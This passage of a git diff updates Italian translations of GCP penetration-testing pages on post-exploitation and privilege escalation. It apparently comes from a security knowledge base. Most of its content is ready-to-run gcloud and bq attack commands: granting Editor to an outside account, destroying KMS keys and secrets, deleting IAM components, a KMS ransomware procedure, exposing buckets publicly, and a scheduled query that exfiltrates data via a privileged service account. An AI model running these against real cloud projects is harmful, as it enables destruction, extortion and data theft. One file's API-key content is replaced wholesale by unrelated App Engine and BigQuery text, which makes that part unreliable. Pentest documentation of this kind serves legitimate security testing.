hardcoded. Controlla anche le informazioni sensibili nelle variabili d'ambiente. +Per eliminare un job, è possibile eseguire la seguente operazione. +```bash +gcloud run jobs delete --region= --quiet +``` +Per eliminare un servizio, è possibile eseguire la seguente operazione. +```bash +gcloud run services delete --region= --quiet +``` +### Accedere alle immagini -Se le immagini sono memorizzate in repository all'interno del servizio Artifact Registry e l'utente ha accesso in lettura sui repository, potrebbe anche scaricare l'immagine da questo servizio. +Se puoi accedere alle immagini dei container, controlla il codice per vulnerabilità e informazioni sensibili hardcoded. Controlla anche la presenza di informazioni sensibili nelle variabili d'ambiente. -### Modifica e ridistribuisci l'immagine +Se le immagini sono memorizzate in repo all'interno del servizio Artifact Registry e l'utente ha accesso in lettura ai repo, potrebbe anche scaricare l'immagine da questo servizio. -Modifica l'immagine di esecuzione per rubare informazioni e ridistribuisci la nuova versione (caricare semplicemente un nuovo container docker con gli stessi tag non farà sì che venga eseguito). Ad esempio, se sta esponendo una pagina di accesso, ruba le credenziali che gli utenti stanno inviando. +### Modificare & ridistribuire l'immagine + +Modifica l'immagine in esecuzione per rubare informazioni e ridistribuisci la nuova versione (semplicemente caricare un nuovo container docker con gli stessi tag non farà in modo che venga eseguito). Ad esempio, se espone una pagina di login, sottrai le credenziali che gli utenti inviano. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md index 669c6247a..d9f09a8f7 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md @@ -4,30 +4,48 @@ ## IAM -Puoi trovare ulteriori informazioni su IAM in: +You can find further information about IAM in: {{#ref}} ../gcp-services/gcp-iam-and-org-policies-enum.md {{#endref}} -### Concessione dell'accesso alla management console +### Concedere l'accesso alla console di gestione -L'accesso alla [GCP management console](https://console.cloud.google.com) è **fornito agli account utente, non agli account di servizio**. Per accedere all'interfaccia web, puoi **concedere l'accesso a un account Google** che controlli. Questo può essere un account generico "**@gmail.com**", non deve **necessariamente essere un membro dell'organizzazione target**. +L'accesso alla [GCP management console](https://console.cloud.google.com) è **fornito agli account utente, non agli account di servizio**. Per effettuare il login all'interfaccia web, puoi **concedere l'accesso a un account Google** che controlli. Può essere un account generico "**@gmail.com**", non è **necessario che sia membro dell'organizzazione bersaglio**. -Per **concedere** però il ruolo primitivo di **Owner** a un account generico "@gmail.com", dovrai **utilizzare la web console**. `gcloud` restituirà un errore se provi a concedergli un permesso superiore a Editor. +Per concedere il ruolo primitivo di **Owner** a un account generico "@gmail.com", però, dovrai **utilizzare la console web**. `gcloud` genererà un errore se provi a concedergli un permesso superiore a Editor. -Puoi usare il seguente comando per **assegnare a un utente il ruolo primitivo Editor** al tuo progetto esistente: - -
- -Assegna il ruolo Editor all'utente +Puoi usare il seguente comando per **concedere a un utente il ruolo primitivo di Editor** al tuo progetto esistente: ```bash gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor ``` -
+Se ci sei riuscito qui, prova a **accedere all'interfaccia web** ed esplorare da lì. -Se ci sei riuscito, prova a **accedere all'interfaccia web** ed esplorare da lì. +Questo è il **livello più alto che puoi assegnare usando lo strumento gcloud**. -Questo è il **livello massimo che puoi assegnare usando lo strumento gcloud**. +### Eliminare componenti IAM `iam.*.delete` +Le autorizzazioni `iam.*.delete` (ad es., `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete`, etc.) permettono a un'identità di eliminare componenti IAM critici come custom roles, API key bindings, service account keys e gli stessi service accounts. Nelle mani di un attacker, questo rende possibile rimuovere meccanismi di accesso legittimi al fine di causare un denial of service. +Per eseguire un tale attacco, è possibile, ad esempio, eliminare i roles usando: +```bash +gcloud iam roles delete --project= +``` +### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable` + +Le autorizzazioni `iam.serviceAccountKeys.disable` e `iam.serviceAccounts.disable` consentono di disabilitare chiavi attive di service account o i service account stessi, che nelle mani di un attaccante potrebbero essere usate per interrompere le operazioni, causare denial of service o ostacolare la risposta agli incidenti impedendo l'uso di credenziali legittime. + +Per disabilitare un service account, puoi usare il seguente comando: +```bash +gcloud iam service-accounts disable --project= +``` +Per disabilitare le chiavi di un Service Account, puoi usare il seguente comando: +```bash +gcloud iam service-accounts keys disable --iam-account= +``` +### `iam.*.undelete` +Le autorizzazioni `iam.*.undelete` permettono di ripristinare elementi precedentemente eliminati, come API key bindings, custom roles o service accounts. Nelle mani di un attacker, questo può essere usato per reverse defensive actions (recover removed access), re-establish deleted compromise vectors to maintain persistence, o evadere remediation efforts, complicando incident containment. +```bash +gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}" +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md index 5f8931eec..471cc3503 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md @@ -12,11 +12,11 @@ Trova informazioni di base su KMS in: ### `cloudkms.cryptoKeyVersions.destroy` -Un attacker con questo permesso potrebbe distruggere una versione di KMS. Per farlo devi prima disabilitare la chiave e poi distruggerla: +Un attacker con questo permesso potrebbe distruggere una versione KMS. Per farlo devi prima disabilitare la chiave e poi distruggerla:
-Disabilita e distruggi la versione della chiave (Python) +Disable and destroy key version (Python) ```python # pip install google-cloud-kms @@ -65,20 +65,20 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version) ### KMS Ransomware -In AWS è possibile **rubare completamente una chiave KMS** modificando la resource policy di KMS e consentendo all'account dell'attaccante di usare la chiave. Poiché queste resource policies non esistono in GCP, questo non è possibile. +In AWS è possibile rubare completamente una chiave KMS modificando la resource policy di KMS e permettendo che solo l'account dell'attaccante utilizzi la chiave. Poiché queste resource policy non esistono in GCP, questo non è possibile. Tuttavia, esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi: -- Creare una nuova **versione della chiave con materiale chiave** importato dall'attaccante +- Creare una nuova **versione della chiave con il materiale della chiave** importato dall'attaccante ```bash gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY] ``` -- Impostarla come **versione predefinita** (per i dati futuri che verranno crittografati) -- **Ri-crittografare i dati più vecchi** crittografati con la versione precedente usando quella nuova. -- **Eliminare la chiave KMS** -- Ora solo l'attaccante, che possiede il materiale originale della chiave, potrebbe essere in grado di decifrare i dati cifrati +- Impostalo come **versione predefinita** (per i dati futuri che verranno cifrati) +- **Racifra i dati più vecchi** cifrati con la versione precedente usando quella nuova. +- **Elimina la chiave KMS** +- Ora solo l'attaccante, che possiede il materiale della chiave originale, potrebbe essere in grado di decifrare i dati cifrati -#### Ecco i passaggi per importare una nuova versione e disabilitare/eliminare i dati precedenti: +#### Ecco i passaggi per importare una nuova versione e disabilitare/eliminare i dati più vecchi:
@@ -162,7 +162,7 @@ gcloud kms keys versions destroy \
-Cifrare i dati con una chiave simmetrica (Python) +Crittografa i dati con una chiave simmetrica (Python) ```python from google.cloud import kms import base64 @@ -203,7 +203,7 @@ print('Ciphertext:', ciphertext)
-Firma un messaggio con una chiave asimmetrica (Python) +Firma un messaggio con chiave asimmetrica (Python) ```python import hashlib from google.cloud import kms @@ -243,7 +243,7 @@ print('Signature:', signature)
-Verificare una firma con chiave asimmetrica (Python) +Verificare la firma con chiave asimmetrica (Python) ```python from google.cloud import kms import hashlib @@ -270,6 +270,32 @@ return verify_response.success verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature) print('Verified:', verified) ``` +### `cloudkms.cryptoKeyVersions.restore` +Il permesso `cloudkms.cryptoKeyVersions.restore` consente a un'identità di ripristinare una versione di chiave che era stata precedentemente programmata per la distruzione o disabilitata in Cloud KMS, riportandola in uno stato attivo e utilizzabile. +```bash +gcloud kms keys versions restore \ +--key= \ +--keyring= \ +--location= \ +--project= +``` +### `cloudkms.cryptoKeyVersions.update` +Il permesso `cloudkms.cryptoKeyVersions.update` consente a un'identità di modificare gli attributi o lo stato di una specifica versione di chiave in Cloud KMS, ad esempio abilitandola o disabilitandola. +```bash +# Disable key +gcloud kms keys versions disable \ +--key= \ +--keyring= \ +--location= \ +--project= + +# Enable key +gcloud kms keys versions enable \ +--key= \ +--keyring= \ +--location= \ +--project= +```
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md index d7a864490..30ced028b 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md @@ -12,7 +12,7 @@ Per maggiori informazioni su Pub/Sub consulta la seguente pagina: ### `pubsub.topics.publish` -Pubblica un messaggio in un topic, utile per **inviare dati imprevisti** e attivare funzionalità inaspettate o sfruttare vulnerabilità: +Pubblica un messaggio in un topic, utile per **inviare dati inattesi** e attivare funzionalità impreviste o exploit vulnerabilities:
@@ -25,11 +25,11 @@ gcloud pubsub topics publish --message "Hello!" ### `pubsub.topics.detachSubscription` -Utile per impedire a una subscription di ricevere messaggi, magari per evitare il rilevamento. +Utile per impedire a subscription di ricevere messaggi, magari per evitare il rilevamento.
-Scollega la subscription dal topic +Staccare subscription da topic ```bash gcloud pubsub topics detach-subscription ``` @@ -38,7 +38,7 @@ gcloud pubsub topics detach-subscription ### `pubsub.topics.delete` Utile per impedire a una subscription di ricevere messaggi, magari per evitare il rilevamento.\ -È possibile eliminare un topic anche se sono presenti subscription ad esso collegate. +È possibile eliminare un topic anche se ci sono subscription collegate.
@@ -50,15 +50,41 @@ gcloud pubsub topics delete ### `pubsub.topics.update` -Usa questo permesso per aggiornare alcune impostazioni del topic per interromperlo, come `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... +Usa questo permesso per aggiornare alcune impostazioni del topic per interromperne il funzionamento, come `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... ### `pubsub.topics.setIamPolicy` Concediti il permesso per eseguire uno qualsiasi degli attacchi precedenti. +```bash +# Add Binding +gcloud pubsub topics add-iam-policy-binding \ +--member="serviceAccount:@.iam.gserviceaccount.com" \ +--role="" \ +--project="" +# Remove Binding +gcloud pubsub topics remove-iam-policy-binding \ +--member="serviceAccount:@.iam.gserviceaccount.com" \ +--role="" \ +--project="" + +# Change Policy +gcloud pubsub topics set-iam-policy \ +<(echo '{ +"bindings": [ +{ +"role": "", +"members": [ +"serviceAccount:@.iam.gserviceaccount.com" +] +} +] +}') \ +--project= +``` ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`) -Recupera tutti i messaggi su un web server: +Recupera tutti i messaggi da un web server:
@@ -69,11 +95,11 @@ gcloud pubsub subscriptions create --topic --pu ```
-Crea una subscription e usala per **pull messages**: +Crea una sottoscrizione e usala per **prelevare messaggi**:
-Crea una pull subscription e recupera i messaggi +Crea una sottoscrizione pull e recupera i messaggi ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic @@ -86,7 +112,7 @@ gcloud pubsub subscriptions pull ### `pubsub.subscriptions.delete` -**Elimina una subscription** potrebbe essere utile per interrompere un sistema di elaborazione dei log o qualcosa di simile: +**Eliminare una subscription** potrebbe essere utile per interrompere un sistema di elaborazione dei log o qualcosa di simile:
@@ -98,7 +124,7 @@ gcloud pubsub subscriptions delete ### `pubsub.subscriptions.update` -Usa questa autorizzazione per aggiornare qualche impostazione in modo che i messaggi siano memorizzati in un posto a cui puoi accedere (URL, Big Query table, Bucket) o semplicemente per interromperne il funzionamento. +Usa questo permesso per aggiornare qualche impostazione in modo che i messaggi vengano salvati in un posto a cui puoi accedere (URL, Big Query table, Bucket) oppure semplicemente per interromperne il funzionamento.
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint -Crea il file dello schema e allegalo al topic +Crea un file schema e allegalo al topic ```json:schema.json { "namespace": "com.example", @@ -148,7 +174,7 @@ gcloud pubsub topics update projects//topics/ \ ### `pubsub.schemas.delete` -Questo potrebbe sembrare che eliminando uno schema sarai in grado di inviare messaggi che non rispettano lo schema. Tuttavia, poiché lo schema sarà eliminato, nessun messaggio verrà effettivamente inserito nel topic. Quindi questo è **INUTILE**: +Questo potrebbe sembrare che eliminando uno schema sarai in grado di inviare messaggi che non soddisfano lo schema. Tuttavia, poiché lo schema verrà eliminato, nessun messaggio entrerà effettivamente nel topic. Quindi questo è **INUTILE**:
@@ -160,11 +186,11 @@ gcloud pubsub schemas delete ### `pubsub.schemas.setIamPolicy` -Assegnati le autorizzazioni necessarie per eseguire uno qualsiasi degli attacchi precedentemente menzionati. +Concediti le autorizzazioni necessarie per eseguire uno qualsiasi degli attacchi menzionati in precedenza. ### `pubsub.snapshots.create`, `pubsub.snapshots.seek` -Questo creerà uno snapshot di tutti i messaggi unACKed e li rimetterà nella subscription. Non molto utile per un attacker ma ecco: +Questo creerà uno snapshot di tutti i messaggi unACKed e li reintrodurrà nella subscription. Non molto utile per un attacker ma ecco:
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md index f3c4474c9..b0c0722ec 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md @@ -4,7 +4,7 @@ ## Secretmanager -Per maggiori informazioni su Secret Manager consulta: +For more information about Secret Manager check: {{#ref}} ../gcp-services/gcp-secrets-manager-enum.md @@ -12,7 +12,7 @@ Per maggiori informazioni su Secret Manager consulta: ### `secretmanager.versions.access` -Questo ti permette di leggere i secrets dal Secret Manager e potrebbe aiutare a scalare i privilegi (a seconda delle informazioni memorizzate all'interno del secret): +Questo ti permette di leggere i secrets dal Secret Manager e potrebbe aiutare ad escalare i privilegi (a seconda delle informazioni memorizzate all'interno del secret):
@@ -23,4 +23,27 @@ gcloud secrets versions access 1 --secret="" ```
+### `secretmanager.versions.destroy` +Il permesso `secretmanager.versions.destroy` consente a un'identità di distruggere permanentemente (contrassegnare come eliminata in modo irreversibile) una versione specifica di un secret in Secret Manager, il che potrebbe permettere la rimozione di credenziali critiche e potenzialmente causare denial of service o impedire il recupero di dati sensibili. +```bash +gcloud secrets versions destroy --secret="" --project= +``` +### `secretmanager.versions.disable` +Il permesso `secretmanager.versions.disable` consente a un'identità di disabilitare versioni attive di secret in Secret Manager, bloccandone temporaneamente l'utilizzo da parte di applicazioni o servizi che ne dipendono. +```bash +gcloud secrets versions disable --secret="" --project= +``` +### `secretmanager.secrets.delete` +Il set di permessi `secretmanager.secrets.delete` consente a un'identità di eliminare completamente un secret e tutte le sue versioni memorizzate in Secret Manager. +```bash +gcloud secrets delete --project= +``` +### `secretmanager.secrets.update` +Il permesso `secretmanager.secrets.update` permette a un'identità di modificare i metadati e la configurazione di un secret (ad esempio, le impostazioni di rotazione, la policy di versione, le etichette e alcune proprietà del secret). +```bash +gcloud secrets update SECRET_NAME \ +--project=PROJECT_ID \ +--clear-labels \ +--rotation-period=DURATION +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md index eec746405..0c0d1bb90 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md @@ -10,13 +10,9 @@ Per maggiori informazioni su Cloud Storage consulta questa pagina: ../gcp-services/gcp-storage-enum.md {{#endref}} -### Concedere accesso pubblico +### Concedere l'accesso pubblico -È possibile concedere a utenti esterni (autenticati in GCP o no) l'accesso al contenuto dei bucket. Tuttavia, per impostazione predefinita l'opzione per esporre pubblicamente un bucket sarà disabilitata: - -
- -Rendere bucket/objects pubblici +È possibile concedere agli utenti esterni (autenticati in GCP o no) l'accesso al contenuto dei bucket. Tuttavia, per impostazione predefinita i bucket avranno disabilitata l'opzione per esporre pubblicamente un bucket: ```bash # Disable public prevention gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention @@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER ``` -
- Se provi ad assegnare **ACLs a un bucket con ACLs disabilitate** troverai questo errore: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` -Per accedere ai bucket aperti tramite browser, visita l'URL `https://.storage.googleapis.com/` o `https://.storage.googleapis.com/` +Per accedere ai bucket aperti tramite browser, usa l'URL `https://.storage.googleapis.com/` o `https://.storage.googleapis.com/` +### `storage.objects.delete` (`storage.objects.get`) + +Per eliminare un oggetto: +```bash +gcloud storage rm gs:/// --project= +``` +### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list` + +Per eliminare un bucket: +```bash +gcloud storage rm -r gs:// +``` +### Disattivare le chiavi HMAC + +Il permesso `storage.hmacKeys.update` consente di disabilitare le chiavi HMAC, e il permesso `storage.hmacKeys.delete` consente a un'identità di eliminare le chiavi HMAC associate agli account di servizio in Cloud Storage. +```bash +# Deactivate +gcloud storage hmac update --deactivate + +# Delete +gcloud storage hmac delete +``` +### `storage.buckets.setIpFilter` & `storage.buckets.update` +La `storage.buckets.setIpFilter` permission, insieme alla `storage.buckets.update` permission, consente a un'identità di configurare filtri di indirizzi IP su un bucket Cloud Storage, specificando quali intervalli o indirizzi IP sono autorizzati ad accedere alle risorse del bucket. + +Per cancellare completamente il filtro IP, è possibile usare il comando seguente: +```bash +gcloud storage buckets update gs:// --project= +``` +Per cambiare gli IP filtrati, è possibile usare il seguente comando: +```bash +gcloud storage buckets update gs:// \ +--ip-filter-file=ip-filter.json \ +--project= +``` +Il file JSON rappresenta il filtro stesso, qualcosa del tipo: +```bash +{ +"mode": "Enabled", +"publicNetworkSource": { +"allowedIpCidrRanges": ["/"] +}, +"allowCrossOrgVpcs": false, +"allowAllServiceAgentAccess": false +} +``` +### `storage.buckets.restore` +Ripristina un bucket usando: +```bash +gcloud storage restore gs://# \ +--project= +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md index 5237d34f6..1e2205b0d 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md @@ -1,87 +1,139 @@ -# GCP - Apikeys Privesc +# GCP - AppEngine Privesc {{#include ../../../banners/hacktricks-training.md}} -## Apikeys +## App Engine -Le seguenti autorizzazioni sono utili per creare e rubare API key, nota dai documenti: _Un API key è una semplice stringa cifrata che **identifica un'applicazione senza alcun principal**. Sono utili per accedere **anonimamente a dati pubblici**, e vengono usate per **associare** le richieste API al tuo progetto per quota e **fatturazione**._ - -Pertanto, con un API key puoi far pagare a quella azienda il tuo utilizzo dell'API, ma non potrai elevare i privilegi. - -Per maggiori informazioni su API Keys consulta: +Per maggiori informazioni su App Engine consulta: {{#ref}} -../gcp-services/gcp-api-keys-enum.md +../gcp-services/gcp-app-engine-enum.md {{#endref}} -Per altri modi per creare API keys consulta: +### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list` + +Queste sono le autorizzazioni necessarie per **distribuire un'App usando la `gcloud` cli**. Forse i permessi **`get`** e **`list`** potrebbero essere **evitati**. + +Puoi trovare esempi di codice Python in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) + +Per impostazione predefinita, il nome del servizio App sarà **`default`**, e può esserci solo 1 istanza con lo stesso nome.\ +Per cambiarlo e creare una seconda App, in **`app.yaml`**, modifica il valore della chiave radice con qualcosa come **`service: my-second-app`** +```bash +cd python-docs-samples/appengine/flexible/hello_world +gcloud app deploy #Upload and start application inside the folder +``` +Aspetta almeno 10–15 minuti; se non funziona, esegui un altro **deploy** e attendi qualche minuto. + +> [!NOTE] +> È **possibile indicare la Service Account da usare**, ma per impostazione predefinita viene utilizzata la SA predefinita di App Engine. + +L'URL dell'applicazione è qualcosa del tipo `https://.oa.r.appspot.com/` o `https://-dot-.oa.r.appspot.com` + +### Aggiornare i permessi equivalenti + +Potresti avere permessi sufficienti per aggiornare un App Engine ma non per crearne uno nuovo. In tal caso, ecco come potresti aggiornare l'App Engine corrente: +```bash +# Find the code of the App Engine in the buckets +gsutil ls + +# Download code +mkdir /tmp/appengine2 +cd /tmp/appengine2 +## In this case it was found in this custom bucket but you could also use the +## buckets generated when the App Engine is created +gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip . +unzip labs_appengine_1_premissions_privesc.zip + +## Now modify the code.. + +## If you don't have an app.yaml, create one like: +cat >> app.yaml <@$PROJECT_ID.iam.gserviceaccount.com +``` +Se hai **già compromesso un AppEngine** e hai il permesso **`appengine.applications.update`** e **actAs** sul service account che vuoi usare, potresti modificare il service account usato da AppEngine con: +```bash +gcloud app update --service-account=@$PROJECT_ID.iam.gserviceaccount.com +``` +### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get` + +Con questi permessi, è possibile **accedere via ssh alle istanze di App Engine** di tipo **flexible** (non standard). Alcuni dei permessi **`list`** e **`get`** **potrebbero non essere realmente necessari**. +```bash +gcloud app instances ssh --service --version +``` +### `appengine.applications.update`, `appengine.operations.get` + +Penso che questo cambi solo la SA di background che google userà per configurare le applicazioni, quindi non credo si possa abusarne per rubare il service account. +```bash +gcloud app update --service-account= +``` +### `appengine.versions.getFileContents`, `appengine.versions.update` + +Non sono sicuro di come usare queste permissions o se siano utili (nota che quando cambi il codice viene creata una nuova versione quindi non so se puoi semplicemente aggiornare il codice o l'IAM role di una, ma immagino che dovresti poterlo fare, magari cambiando il codice all'interno del bucket??). + +### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`) + +Per rimuovere tabelle, dataset o modelli: +```bash +# Table removal +bq rm -f -t .. + +# Dataset removal +bq rm -r -f : + +# Model removal +bq rm -m :. +``` +### Abuse of Scheduled Queries + +Con le autorizzazioni `bigquery.datasets.get`, `bigquery.jobs.create` e `iam.serviceAccounts.actAs`, un'identità può interrogare i metadata dei dataset, avviare job di BigQuery ed eseguirli usando un Service Account con privilegi più elevati. + +Questo attacco permette un uso malevolo delle Scheduled Queries per automatizzare query (eseguite sotto il Service Account scelto), che possono, per esempio, comportare la lettura di dati sensibili e la loro scrittura in un'altra tabella o dataset a cui l'attaccante ha accesso — facilitando l'esfiltrazione indiretta e continua senza dover estrarre i dati all'esterno. + +Una volta che l'attaccante sa quale Service Account ha le autorizzazioni necessarie per eseguire la query desiderata, può creare una configurazione di Scheduled Query che viene eseguita usando quel Service Account e scrive periodicamente i risultati in un dataset a sua scelta. +```bash +bq mk \ +--transfer_config \ +--project_id= \ +--location=US \ +--data_source=scheduled_query \ +--target_dataset= \ +--display_name="Generic Scheduled Query" \ +--service_account_name="@.iam.gserviceaccount.com" \ +--schedule="every 10 minutes" \ +--params='{ +"query": "SELECT * FROM `..`;", +"destination_table_name_template": "", +"write_disposition": "WRITE_TRUNCATE" +}' + +``` +### Accesso in scrittura sui buckets + +Come menzionato le versioni di AppEngine generano alcuni dati all'interno di un bucket con il nome: `staging..appspot.com`. Nota che non è possibile effettuare un pre-takeover di questo bucket perché gli utenti GCP non sono autorizzati a generare bucket usando il dominio `appspot.com`. + +Tuttavia, con accesso in lettura & scrittura su questo bucket, è possibile escalare i privilegi all'SA associato alla versione AppEngine monitorando il bucket e, ogni volta che viene effettuata una modifica, modificare il codice il più rapidamente possibile. In questo modo, il container che viene creato da questo codice **execute the backdoored code**. + +Per maggiori informazioni e una **PoC controlla le informazioni rilevanti in questa pagina**: {{#ref}} -gcp-serviceusage-privesc.md +gcp-storage-privesc.md {{#endref}} -### Brute Force API Key access +### Accesso in scrittura all'Artifact Registry -Poiché potrebbe non essere noto quali API siano abilitate nel progetto o quali restrizioni siano applicate all'API key che hai trovato, è utile eseguire lo strumento [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) e verificare **cosa puoi accedere con l'API key.** - -### `apikeys.keys.create` - -Questa autorizzazione permette di **creare un API key**: - -
-Create an API key using gcloud -```bash -gcloud services api-keys create -Operation [operations/akmf.p7-[...]9] complete. Result: { -"@type":"type.googleapis.com/google.api.apikeys.v2.Key", -"createTime":"2022-01-26T12:23:06.281029Z", -"etag":"W/\"HOhA[...]=\"", -"keyString":"AIzaSy[...]oU", -"name":"projects/5[...]6/locations/global/keys/f707[...]e8", -"uid":"f707[...]e8", -"updateTime":"2022-01-26T12:23:06.378442Z" -} -``` -
- -Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh). - -> [!CAUTION] -> Nota che, per impostazione predefinita, gli utenti hanno i permessi per creare nuovi progetti e viene loro concesso il ruolo Owner sul nuovo progetto. Quindi un utente potrebbe **creare un progetto e una API key all'interno di questo progetto**. - -### `apikeys.keys.getKeyString` , `apikeys.keys.list` - -Questi permessi permettono di **elencare e recuperare tutte le apiKeys e ottenere la Key**: - -
-List and retrieve all API keys -```bash -for key in $(gcloud services api-keys list --uri); do -gcloud services api-keys get-key-string "$key" -done -``` -
- -Puoi trovare uno script per automatizzare la [**creazione, exploit e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh). - -### `apikeys.keys.undelete` , `apikeys.keys.list` - -Questi permessi ti permettono di **elencare e rigenerare le chiavi API cancellate**. La **chiave API viene restituita nell'output** dopo che l'**undelete** è stato eseguito: - -
-Elencare e ripristinare (undelete) le chiavi API -```bash -gcloud services api-keys list --show-deleted -gcloud services api-keys undelete -``` -
- -### Crea un'applicazione OAuth interna per phish altri dipendenti - -Consulta la pagina seguente per imparare come farlo, anche se questa azione appartiene al servizio **`clientauthconfig`** [secondo la documentazione](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin): - -{{#ref}} -../../workspace-security/gws-google-platforms-phishing/ -{{#endref}} +Anche se App Engine crea docker images all'interno di Artifact Registry, è stato testato che **anche se modifichi l'immagine all'interno di questo servizio** e rimuovi l'istanza App Engine (quindi se ne viene deployata una nuova) il **codice eseguito non cambia**.\ +Potrebbe essere possibile che eseguendo una **Race Condition attack come con i buckets potrebbe essere possibile sovrascrivere il codice eseguito**, ma questo non è stato testato. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md index 9d853cc18..bef77a878 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md @@ -4,7 +4,7 @@ ## Artifact Registry -Per maggiori informazioni su Artifact Registry consulta: +Per maggiori informazioni su Artifact Registry, consulta: {{#ref}} ../gcp-services/gcp-artifact-registry-enum.md @@ -12,10 +12,10 @@ Per maggiori informazioni su Artifact Registry consulta: ### artifactregistry.repositories.uploadArtifacts -Con questo permesso un attacker potrebbe caricare nuove versioni degli artifact con codice malevolo, ad esempio immagini Docker: +Con questo permesso un attacker potrebbe caricare nuove versioni degli artifact contenenti codice malevolo, come Docker images:
-Caricare un'immagine Docker in Artifact Registry +Caricare un Docker image su Artifact Registry ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev @@ -29,19 +29,19 @@ docker push -docker.pkg.dev///:
